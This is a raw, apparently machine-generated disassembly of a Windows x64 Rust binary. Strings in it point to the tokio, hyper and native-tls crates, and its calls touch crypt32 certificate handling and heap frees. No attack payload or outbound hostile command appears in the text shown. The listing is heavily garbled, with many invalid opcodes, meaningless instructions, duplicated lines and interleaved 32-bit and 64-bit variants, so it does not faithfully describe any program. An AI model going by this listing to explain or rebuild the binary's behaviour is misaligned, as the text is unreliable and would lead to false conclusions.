jle 0x140094e22
test rax, rax
test eax, eax
ror byte [rdi], 0x85
fiadd word [rcx]
jne 0x140095041
test esi, ebx
add dword [rax], eax
add byte [rax], al
movq rcx, xmm0
add byte [rax], al
movq rcx, xmm0
mov rax, rcx
shr rax, 9
shr eax, 9
shr eax, 9
movabs rdx, 0x44b82fa09b5a53
mul rdx
shr rdx, 0xb
sub rbx, rdx
mov r8, qword [rsp + 0x48]
jb 0x140095029
imul eax, edx, 0x3b9aca00
sub ecx, eax
cmp edi, ecx
jae 0x140094eac
test rbx, rbx
je 0x140095029
dec rbx
add edi, 0x3b9aca00
mov rax, rbx
mov esi, edi
sub esi, ecx
cmp esi, 0x3b9aca00
inc byte [rax]
retf 0x3b9a
mov rbx, qword [rsp + 0x58]
jb 0x14009480e
inc byte [rax]
retf 0x3b9a
mov ecx, esi
shr ecx, 9
imul rcx, rcx, 0x44b83
add byte [rax - 0x3f], cl
jmp 0x1080a96fe
jb 0x140095076
add byte [rax - 0x3f], cl
jmp 0x1080a96fe
imul ecx, ecx, 0x3b9aca00
sub esi, ecx
jmp 0x14009480e
invalid
mov rcx, r12
call fcn.14012be60
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x1400948e1
call fcn.14012bf20
xor al, 1
movzx ecx, byte [rbx + 0x11]
test cl, cl
je 0x1400948ef
jmp 0x140094f72
call fcn.14012bf20
test al, al
jne 0x140094cfa
mov byte [rbx + 0x11], 1
jmp 0x140094cfa
mov al, 1
xchg byte [r15 + 0x41], al
xor ebp, ebp
test al, al
jne 0x140094faf
test al, al
jne 0x140094f85
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140094fcd
xor eax, eax
xchg byte [r12], al
cmp al, 2
add dh, byte [rbp + 9]
xor ebp, ebp
mov eax, ebp
movaps xmm6, xmmword [rsp + 0x100]
and al, 0
add dword [rax], eax
add byte [rax - 0x7f], cl
invalid
sbb byte [rcx], al
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
and al, 0
add dword [rax], eax
add byte [rax - 0x7f], cl
invalid
call fcn.14012bf20
outsd dx, dword [rsi]
or dword [rax], eax
test al, al
jne 0x140094f85
mov byte [rbx + 0x11], 1
jmp 0x140094f85
call fcn.140127900
lea rcx, str.overflow_when_adding_duration_to_instantstd_src_time.rs
lea r8, [0x140165ac8]
mov edx, 0x28
call fcn.140122a20
lea rcx, [0x1401696c0]
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timeentry.rs
mov edx, 0x73
call fcn.140122a20
lea rcx, str.interval_assumes_timeoutx
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rsC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientclient.rs
mov edx, 0x18
sbb byte [rax], al
add byte [rax], al
call fcn.140122a20
lea rcx, str.overflow_when_subtracting_duration_from_instant
lea r8, [0x140165b10]
or cl, byte [0x140390a3a]
add byte [rax], al
or cl, byte [0x140390a3a]
add byte [rax], al
call fcn.140122a20
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_timeinterval.rs
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
or eax, 0xd57ec
or eax, 0xd57ec
lea r9, [0x14016a4a0]
lea r8, [rsp + 0x68]
mov edx, 0x41
call fcn.140122900
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_timeinterval.rs
call fcn.140122c10
or eax, 0xdb9ae800
or byte [rax], al
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 1
mov qword [rsp + 0x78], 8
mov dword [rsp + 0x78], 8
mov dword [rsp + 0x78], 8
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x140095020
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x80], xmm0
lea rdx, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrarycore_src_time.rs
and al, 0x80
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xcfa50
lea rcx, [rsp + 0x68]
and al, 0x68
push 0x8d41ee8
add ah, cl
int3
call fcn.1401224d0
int3
adc byte [r8 - 0x7d], cl
rcr dword [rax], 0x48
sbb byte [rax - 0x7d], cl
invalid
invalid
sbb byte [rax - 0x7d], cl
invalid
pop rsi
jmp rax
xor byte [r8 - 0x7d], cl
sar dword [rax], 0x48
cmp byte [rax - 0x7d], cl
invalid
invalid
cmp byte [rax - 0x7d], cl
invalid
pop rsi
jmp rax
jb case.default.0x1400950f2
cmp qword [rcx + 0x10], 0
je case.default.0x1400950f2
mov r8, qword [rcx + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rsi
ret
movq qword [rsp + 0x50], mm0
movdqa xmmword [rsp + 0x40], xmm7
movdqa xmmword [rsp + 0x30], xmm6
mov rdi, r8
mov rsi, rdx
mov qword [rsp + 0x28], rcx
mov rbx, qword [rcx + 0x10]
cmp qword [rbx + 0x28], 0
je 0x1400952da
mov rcx, qword [rbx + 0x30]
mov rdx, qword [rbx + 0x38]
mov r8, rsi
mov r9, rdi
stc
stc
call fcn.1400a7d40
mov rcx, qword [rbx + 0x10]
mov r15, qword [rbx + 0x18]
mov r12, r15
sub eax, dword [rcx]
add byte [rax - 0x75], cl
adc byte [r11 + r9*4 + 0x7b], cl
sbb byte [rbp - 0x77], cl
cld
and r12, rax
and esp, eax
shr rax, 0x39
shr eax, 0x39
movd xmm0, eax
movd mm0, eax
shl byte [rsi + 0xf], 0x60
sal dl, 0xf
invalid
jo 0x1400951ae
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufw mm0, mm0, 0
invalid
pshufw mm0, mm0, 0
add byte [rsi + 0xf], ah
pshufd xmm6, xmm0, 0
mov qword [rsp + 0x20], rcx
jo 0x1400951e3
add byte [rax - 0x77], cl
and al, 0x20
lea r13, [rcx - 0x30]
xor ebp, ebp
pcmpeqd xmm7, xmm7
mov rax, qword [rsp + 0x20]
movdqu xmm8, xmmword [rax + r12]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm6
pmovmskb ebx, xmm0
test ebx, ebx
jne 0x14009525a
pcmpeqb xmm8, xmm7
pmovmskb eax, xmm8
test eax, eax
ror byte [rdi], 0x85
invalid
add byte [rax], al
invalid
ror byte [rdi], 0x85
test eax, 0x49000000
add esp, ebp
add r12, rbp
add r12, 0x10
add rbp, 0x10
and r12, r15
jmp 0x140095203
add byte [rbp + 0x2166ff43], cl
fmul dword [rcx - 0xc3a8b3d]
bsf eax, ebx
lea eax, [rbx - 1]
and ax, bx
mov ebx, eax
je 0x14009521f
tzcnt eax, ebx
add rax, r12
and rax, r15
neg rax
neg eax
neg eax
lea r14, [rax + rax*2]
lea esi, [rax + rax*2]
shl r14, 4
cmp qword [r13 + r14 + 0x10], rdi
jl 0x1400952a8
invalid
add al, 0x4b
cmp dword [rbp + rsi + 0x10], edi
jl 0x1400952a8
invalid
jl 0x1400952a8
adc byte [rbp - 0x26], dh
jne 0x140095250
lea rax, [r14 + r13]
mov rdx, qword [rax + 8]
mov rcx, rsi
mov r8, rdi
call fcn.1401220a0
test eax, eax
jne 0x140095250
ret
ret
mov rax, qword [rsp + 0x20]
and al, 0x20
mov r15, qword [rax + r14 - 0x10]
xor al, dh
mov r12, qword [rax + r14 - 8]
mov esp, dword [rax + rsi - 8]
clc
test r12, r12
je 0x140095307
in al, 0x74
mov rax, r12
mov rax, r12
mov rax, r12
shr rax, 0x3a
mov rbx, r12
shl rbx, 5
test rax, rax
jne 0x1400953ec
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rbx
call fcn.1400f8ae0
test rax, rax
je 0x1400953f6
mov r14, rax
mov r13, r12
jmp 0x140095312
mov rcx, qword [rsp + 0x28]
mov rax, qword [rcx]
mov r9, qword [rcx + 8]
mov rcx, qword [r9 + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
mov rdx, rsi
mov r8, rdi
call qword [r9 + 0x18]
jmp 0x1400953ad
mov r14d, 4
xor ebx, ebx
xor r13d, r13d
mov rcx, r14
mov rdx, r15
mov r8, rbx
call fcn.140121660
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400953ce
mov rbx, rax
shl r12, 5
add r12, r14
mov qword [rax], r14
mov qword [rax + 8], r14
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], r12
movzx eax, byte [0x14019f308]
mov edx, 0x18
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400953dd
mov qword [rax], 0
mov qword [rax + 8], rbx
lea rcx, [0x14015ac98]
mov qword [rax + 0x10], rcx
lea rdx, [0x14015acd0]
test rdi, rdi
je 0x1400953ad
mov rcx, qword [0x14019f258]
mov rdi, rdx
xor edx, edx
mov r8, rsi
mov rsi, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, rdi
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x30]
movaps xmm7, xmmword [rsp + 0x40]
movaps xmm8, xmmword [rsp + 0x50]
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 8
mov edx, 0x20
call fcn.140122190
mov ecx, 8
mov edx, 0x18
call fcn.140122190
xor ecx, ecx
mov rdx, rbx
call fcn.140122170
mov ecx, 4
mov rdx, rbx
call fcn.140122170
int3
enter 0xffffffffffff8348, 0xffffffffffffffc4
sub bl, al
ret
lea rcx, str.Ready_polled_after_completionC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_ready.rs
lea r8, [0x14015b0f0]
mov edx, 0x1d
call fcn.140122a20
int3
ret
ret
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 0x18]
sub r8, rdx
shr r8, 5
shr eax, 5
shr eax, 5
cmp r8, rax
cmovae r8, rax
sub rax, r8
shl r8, 5
add r8, rdx
mov qword [rcx + 8], r8
ret
je 0x140095f08
mov rdi, r8
add rdx, 8
lea rbx, [rsp + 0x338]
mov r8d, 0x120
and byte [rcx], al
add byte [rax], al
and byte [rcx], al
add byte [rax], al
mov rcx, rbx
call fcn.140121660
mov qword [rsp + 0x330], r12
mov qword [rsp + 0x458], rdi
movabs rbp, 0x8000000000000000
or byte [rax - 0x77], 0xac
and al, 0xb0
add byte [rax], al
add byte [rax - 0x77], cl
lodsb al, byte [rsi]
and al, 0xc8
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
or byte [rax - 0x77], 0xac
and al, 0xb0
add byte [rax], al
add byte [rax - 0x77], cl
lodsb al, byte [rsi]
and al, 0xc8
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x39], cl
mov qword [rsp + 0xa0], 8
mov qword [rsp + 0xa8], 0
movzx eax, byte [rsi + 0x1c]
movzx ecx, byte [rsi + 0x1d]
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0x46
sbb al, 0xf
mov dh, 0x4e
sbb eax, 0x8001518d
lea edx, [rcx + 1]
cmp cl, 4
movzx ecx, dl
lea edx, [rcx + 1]
cmp cl, 4
movzx ecx, dl
mov edx, 4
add byte [rax], al
cmovb edx, ecx
movzx edi, dl
mov dh, 0xfa
ror dword [rdi], 1
mov dh, 0xfa
cmp al, 5
sete cl
cmp dil, al
add eax, 0x40c1940f
cmp bh, al
setb dl
or dl, cl
je 0x140095648
lea r12, [0x140157af0]
jmp 0x14009565e
movzx eax, al
lea r12, [0x140157af0]
add r12, rax
sub rdi, rax
je 0x140095874
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rdi
call fcn.1400f8ae0
test rax, rax
je 0x140095f20
mov r13, rax
mov rcx, r13
mov rdx, r12
mov r8, rdi
call fcn.140121660
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0xd0], r13
mov qword [rsp + 0xd8], rdi
cmp dword [rsi], 1
jne 0x1400956d7
mov rcx, qword [rsi + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov rdi, rax
lea rcx, [rsp + 0x98]
call fcn.1400e7400
mov rax, qword [rsp + 0xa0]
mov qword [rax], rdi
mov qword [rsp + 0xa8], 1
lea rcx, [rsp + 0x98]
call fcn.1400e74b0
mov rdi, rdx
test rax, rax
je 0x1400957ac
mov rax, qword [rsp + 0xb0]
neg rax
jo 0x140095716
jae 0x140095716
mov r8, qword [rsp + 0xb8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0xc8]
neg rax
jo 0x14009573c
jae 0x14009573c
mov r8, qword [rsp + 0xd0]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0xa8]
test rsi, rsi
je 0x14009576f
xor r15d, r15d
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop dword [rax + rax]
mov rcx, qword [r14 + r15*8]
inc r15
call r12
cmp rsi, r15
jne 0x140095760
cmp qword [rsp + 0x98], 0
je 0x14009578c
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rsp + 0x330], 2
mov rsi, qword [rsp + 0x28]
jne 0x140095862
mov rcx, rbx
call fcn.1400978b0
jmp 0x140095e0d
mov qword [rsp + 0x50], rbp
mov word [rsp + 0x90], 1
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x68], rbp
mov rcx, qword [rsi + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x40]
mov rdx, r14
mov r8, r15
call fcn.1400e7c50
movzx eax, byte [rsi + 0x18]
mov byte [rsp + 0x90], al
movzx eax, byte [rsi + 0x19]
mov byte [rsp + 0x91], al
cmp byte [rsi + 0x1a], 0
je 0x140095881
movzx eax, byte [0x14019f308]
mov edx, 0x10
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140095f2d
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x1400958fe
lock dec qword [rcx]
lea rsi, [0x14015d010]
je 0x1400958e1
jmp 0x14009590e
lea rcx, [rsp + 0x330]
call fcn.1400a73b0
jmp 0x140095e0d
xor edi, edi
mov r13d, 1
jmp 0x14009567b
cmp byte [rsi + 0x1b], 0
je 0x14009591e
mov rcx, qword [rsi + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov rbx, rax
movzx eax, byte [0x14019f308]
mov edx, 0x18
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140095f3e
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rbx
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x140095907
lock dec qword [rcx]
lea rsi, [0x14015d040]
jne 0x14009590e
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
mov rbx, rax
call case.0x14009a20c.177
mov rax, rbx
jmp 0x14009590e
lea rsi, [0x14015d010]
jmp 0x14009590e
lea rsi, [0x14015d040]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rsi
lea rbx, [rsp + 0x68]
lea rcx, [rsp + 0x690]
lea rdx, [rsp + 0x330]
mov r8d, 0x130
call fcn.140121660
mov rsi, qword [rsp + 0x50]
mov rax, rsi
neg rax
jo 0x14009595c
cmp byte [rsp + 0x90], 1
jne 0x14009595c
mov r8, qword [rsp + 0x58]
jmp 0x14009595f
xor r8d, r8d
lea rcx, [rsp + 0x100]
mov rdx, rdi
mov r9, rbx
call fcn.1400e7a10
mov r12, qword [rsp + 0x110]
cmp r12, 2
jne 0x1400959d2
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x468], 2
mov qword [rsp + 0x470], rax
mov qword [rsp + 0x460], 1
cmp dword [rsp + 0x690], 2
jne 0x140095a60
lea rcx, [rsp + 0x698]
call fcn.1400978b0
lock dec qword [rdi]
je 0x140095a77
jmp 0x140095d18
movaps xmm6, xmmword [rsp + 0x100]
mov ebx, dword [rsp + 0x118]
mov r14, qword [rsp + 0x120]
test byte [rsp + 0x40], 1
je 0x140095a84
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rsp + 0xe0], rax
mov eax, 1
mov qword [rsp + 0x38], rax
mov rsi, qword [rsp + 0x50]
neg rsi
jo 0x140095a92
mov rsi, r14
mov r14, qword [rsp + 0x58]
mov r15, qword [rsp + 0x60]
test r15, r15
je 0x140095a94
mov rax, r15
shr rax, 0x3e
lea r13, [r15 + r15]
test rax, rax
jne 0x140095f5a
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, r13
call fcn.1400f8ae0
test rax, rax
je 0x140095f64
mov rbp, r15
jmp 0x140095a9e
lea rcx, [rsp + 0x690]
call fcn.1400a73b0
lock dec qword [rdi]
jne 0x140095d18
mov rcx, rdi
call fcn.1400cadd0
jmp 0x140095d18
mov qword [rsp + 0x38], 0
neg rsi
jno 0x140095a1b
jmp 0x140095ab4
mov eax, 2
xor r13d, r13d
xor ebp, ebp
mov qword [rsp + 0x30], rax
mov rcx, rax
mov rdx, r14
mov r8, r13
call fcn.140121660
mov r14, rsi
movzx eax, byte [rsp + 0x90]
movzx ecx, byte [rsp + 0x91]
mov rsi, qword [rsp + 0x80]
test rsi, rsi
mov byte [rsp + 0x27], al
mov byte [rsp + 0x26], cl
je 0x140095af5
lock inc qword [rsi]
jle 0x140095f3c
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xe8], rax
jmp 0x140095af7
xor esi, esi
lea rcx, [rsp + 0x460]
lea rdx, [rsp + 0x690]
mov r8d, 0x130
call fcn.140121660
test r12, r12
je 0x140095b40
test ebx, ebx
je 0x140095b85
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rbx
call fcn.1400f8ae0
test rax, rax
je 0x140095f4d
mov r13, rax
mov rdx, r14
mov r12, rbx
jmp 0x140095b93
mov r13d, 1
xor ebx, ebx
xor r12d, r12d
xor eax, eax
cmp rax, qword [rsp + 0x68]
jo 0x140095bb0
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
lea rcx, [rsp + 0x100]
call fcn.1400c44f0
mov r14, qword [rsp + 0x100]
movups xmm0, xmmword [rsp + 0x108]
movaps xmmword [rsp + 0xf0], xmm0
jmp 0x140095bba
mov edx, 1
xor r12d, r12d
mov r13d, 1
mov rcx, r13
mov r8, rbx
call fcn.140121660
mov rcx, r14
call qword [sym.imp.secur32.dll_FreeContextBuffer]
xor eax, eax
cmp rax, qword [rsp + 0x68]
jno 0x140095b54
movabs r14, 0x8000000000000000
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], r15
lea rcx, [rsp + 0x110]
lea rdx, [rsp + 0x460]
mov r8d, 0x130
call fcn.140121660
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x240], 0
mov qword [rsp + 0x248], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x250], xmm0
mov qword [rsp + 0x260], 0
mov qword [rsp + 0x268], 1
movups xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x280], r12
mov qword [rsp + 0x288], r13
mov qword [rsp + 0x290], rbx
mov qword [rsp + 0x298], 0
mov qword [rsp + 0x2a0], rbp
mov qword [rsp + 0x2b8], r14
movaps xmm0, xmmword [rsp + 0xf0]
movups xmmword [rsp + 0x2c0], xmm0
mov dword [rsp + 0x2d0], 0x10000
mov byte [rsp + 0x2d4], 0
mov qword [rsp + 0x2e8], rdi
movups xmmword [rsp + 0x2f0], xmm6
mov qword [rsp + 0x300], rsi
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x308], rax
mov qword [rsp + 0x310], 1
mov qword [rsp + 0x318], 0
movzx eax, byte [rsp + 0x27]
mov byte [rsp + 0x320], al
movzx eax, byte [rsp + 0x26]
mov byte [rsp + 0x321], al
mov word [rsp + 0x322], 0x100
lea rcx, [rsp + 0x460]
lea rdx, [rsp + 0x100]
call fcn.1400b04a0
movzx ebp, byte [rsp + 0x460]
mov rsi, qword [rsp + 0x468]
mov rdi, qword [rsp + 0x470]
test bpl, 1
je 0x140095d3c
cmp rsi, 2
je 0x140095d57
lea rdx, [rsp + 0x478]
lea rcx, [rsp + 0x9d8]
mov r8d, 0x218
call fcn.140121660
lea rcx, [rsp + 0x40]
call fcn.1400a7530
mov rax, qword [rsp + 0xb0]
neg rax
jo 0x140095d87
jae 0x140095d87
mov r8, qword [rsp + 0xb8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0xc8]
neg rax
jo 0x140095dad
jae 0x140095dad
mov r8, qword [rsp + 0xd0]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0xa0]
mov r14, qword [rsp + 0xa8]
test r14, r14
je 0x140095ddf
xor r15d, r15d
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop dword [rax]
mov rcx, qword [rbx + r15*8]
inc r15
call r12
cmp r14, r15
jne 0x140095dd0
cmp qword [rsp + 0x98], 0
je 0x140095dfc
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
test bpl, 1
je 0x140095e1c
cmp rsi, 2
jne 0x140095e7f
mov rsi, qword [rsp + 0x28]
mov eax, 8
mov ecx, 2
jmp 0x140095ee5
lea rbx, [rsp + 0x7c0]
lea rdx, [rsp + 0x9d8]
mov r8d, 0x218
mov rcx, rbx
call fcn.140121660
mov rax, qword [rsp + 0x28]
mov qword [rax + 8], rsi
mov rsi, rax
mov qword [rax + 0x10], rdi
lea rcx, [rax + 0x18]
mov r8d, 0x128
mov rdx, rbx
call fcn.140121660
lea rcx, [rsi + 0x148]
lea rdx, [rsp + 0x8f0]
mov r8d, 0xe8
call fcn.140121660
mov eax, 0x140
xor ecx, ecx
jmp 0x140095ee3
lea rbx, [rsp + 0x7c0]
lea rdx, [rsp + 0x9d8]
mov r8d, 0x218
mov rcx, rbx
call fcn.140121660
mov rax, qword [rsp + 0x28]
mov qword [rax + 8], rsi
mov rsi, rax
mov qword [rax + 0x10], rdi
lea rcx, [rax + 0x18]
mov r8d, 0x128
mov rdx, rbx
call fcn.140121660
lea rcx, [rsi + 0x148]
lea rdx, [rsp + 0x8f0]
mov r8d, 0xe8
call fcn.140121660
mov eax, 0x140
mov ecx, 1
xor edi, edi
mov qword [rsi], rcx
mov qword [rsi + rax], rdi
movaps xmm6, xmmword [rsp + 0xbf0]
add rsp, 0xc08
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.future_polled_after_completion
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
mov edx, 0x1e
call fcn.140122a20
mov ecx, 1
mov rdx, rdi
call fcn.140122170
mov ecx, 8
mov edx, 0x10
call fcn.140122190
ud2
mov ecx, 8
mov edx, 0x18
call fcn.140122190
mov ecx, 1
mov rdx, rbx
call fcn.140122170
xor ecx, ecx
mov rdx, r13
call fcn.140122170
mov ecx, 2
mov rdx, r13
call fcn.140122170
int3
lea rcx, [rax + 1]
mov rbx, rcx
sub rbx, rax
add rbx, r12
add r9d, 0xffffffa5
mov r8, rbx
test r9d, 0xfffffffd
jne 0x140096189
mov rax, rcx
mov r12, rbx
cmp rcx, rdx
cmp ecx, edx
cmp ecx, edx
je 0x140096181
movzx ecx, byte [rax]
movzx r9d, cl
test r9b, r9b
jns 0x1400960d0
mov r8d, r9d
and r8d, 0x1f
movzx r10d, byte [rax + 1]
and r10d, 0x3f
cmp r9b, 0xdf
jbe 0x14009615e
movzx r9d, byte [rax + 2]
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
cmp cl, 0xf0
jb 0x140096171
lea rcx, [rax + 4]
lea ecx, [rax + 4]
movzx r10d, byte [rax + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and r10d, 0x3f
or r10d, r9d
or r10d, r8d
mov r9d, r10d
shr ecx, 1
jbe 0x14009615b
invalid
invalid
shr ecx, 1
jbe 0x14009615b
invalid
invalid
lea rcx, [rax + 2]
shl r8d, 6
or r8d, r10d
mov r9d, r8d
jmp 0x1400960d4
lea rcx, [rax + 3]
shl r8d, 0xc
add eax, dword [rcx - 0x3f]
loopne 0x140096185
or r9d, r8d
jmp 0x1400960d4
xor ebx, ebx
mov r8, r12
mov eax, esp
mov eax, esp
loopne 0x1400961cf
mov rcx, rdx
mov ecx, edx
mov r11, rdx
jmp 0x1400961a1
lea r11, [r9 - 1]
add r10d, 0xffffffa5
ret 0x41a5
test edx, 0xfffffffd
jne 0x14009621a
ret 0x41a5
cmp rcx, r11
je 0x140096223
mov r9, r11
movsx r10d, byte [r11 - 1]
test r10d, r10d
jns 0x140096190
movzx r15d, byte [r9 - 2]
movzx edi, byte [rcx - 2]
jns case.0x140057811.261
cmp r15b, 0xc0
jge 0x1400961e1
movzx r13d, byte [r9 - 3]
cmp r13b, 0xc0
cmp ch, 0xc0
cmp ch, 0xc0
sar byte [rbp + 0x22], 0x4d
lea ebx, [rcx - 4]
jge 0x1400961eb
lea r11, [r9 - 4]
movzx ebp, byte [r9 - 4]
mov dh, 0x69
cld
and ebp, 7
shl ebp, 6
and r13d, 0x3f
or r13d, ebp
jmp 0x1400961f3
invalid
lea r11, [r9 - 2]
and r15d, 0x1f
and edi, 0x1f
inc byte [rcx - 0x7d]
out 0x1f, eax
and edi, 0x1f
jmp 0x1400961fe
lea r11, [r9 - 3]
and r13d, 0xf
shl r13d, 6
shl ebp, 6
and r15d, 0x3f
or r15d, r13d
shl r15d, 6
and r10b, 0x3f
loop 0x140096245
loop 0x140096245
movzx r10d, r10b
or r10d, r15d
add r10d, 0xffffffa5
test r10d, 0xfffffffd
std
invalid
invalid
invalid
je 0x1400961a1
std
invalid
sub r8, rcx
add r8, r9
enter 0x14d, 0xffffffffffffffc8
mov rbx, r8
xor ecx, ecx
cmp rax, rdx
cmove r12, rcx
mov r15d, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
sub rbx, r12
je 0x14009625a
jrcxz 0x1400962aa
and ecx, dword [rdi]
mov al, bl
add dword [rax], eax
add byte [rdi], cl
mov dh, 5
invalid
js 0x140096415
movzx eax, byte [0x14019f308]
xor ecx, ecx
leave
mov rdx, rbx
call fcn.1400f8ae0
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
ret
add dword [rax], eax
invalid
invalid
add dword [rax], eax
add byte [rcx - 0x77], cl
invalid
mov r15, rax
add r14, r12
mov rcx, r15
mov ecx, edi
out 0x4c, al
mov ecx, edi
mov rdx, r14
mov r8, rbx
call fcn.140121660
mov rax, qword [rdi + 0x50]
mov qword [rsp + 0x80], rax
and al, 0x80
add byte [rax], al
add byte [rdi], cl
adc byte [rdi + 0x40], al
and al, 0x80
add byte [rax], al
add byte [rdi], cl
adc byte [rdi + 0x40], al
movaps xmmword [rsp + 0x70], xmm0
sub dword [rsp + 0x70], eax
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
adc byte [rdi + 0x30], bl
adc byte [rdi + 0x30], bl
movaps xmmword [rsp + 0x60], xmm3
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
and al, 0x30
and al, 0x30
mov r14, qword [rsi + 0x20]
lock inc qword [r14]
jle 0x1400963e6
invalid
invalid
add dword [rax], eax
invalid
invalid
invalid
add byte [rbx + rcx*4 + 0x66], cl
sub byte [rbx + rcx*4 + 0x6e], cl
xor al, dh
inc qword [r12]
mov r12, qword [rsi + 0x28]
mov esp, dword [rsi + 0x28]
mov r13, qword [rsi + 0x30]
lock inc qword [r12]
jle 0x1400963e6
and al, byte [rcx]
add byte [rax], al
movzx eax, byte [0x14019f308]
mov edx, 0xeb8
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400963e8
or byte [rcx], al
add byte [rax], al
or byte [rcx], al
add byte [rax], al
mov rdi, rax
mov rax, qword [rsp + 0x80]
mov qword [rdi + 0x50], rax
push rax
push rax
movaps xmm0, xmmword [rsp + 0x70]
sub byte [rsp + 0x70], al
movups xmmword [rdi + 0x40], xmm0
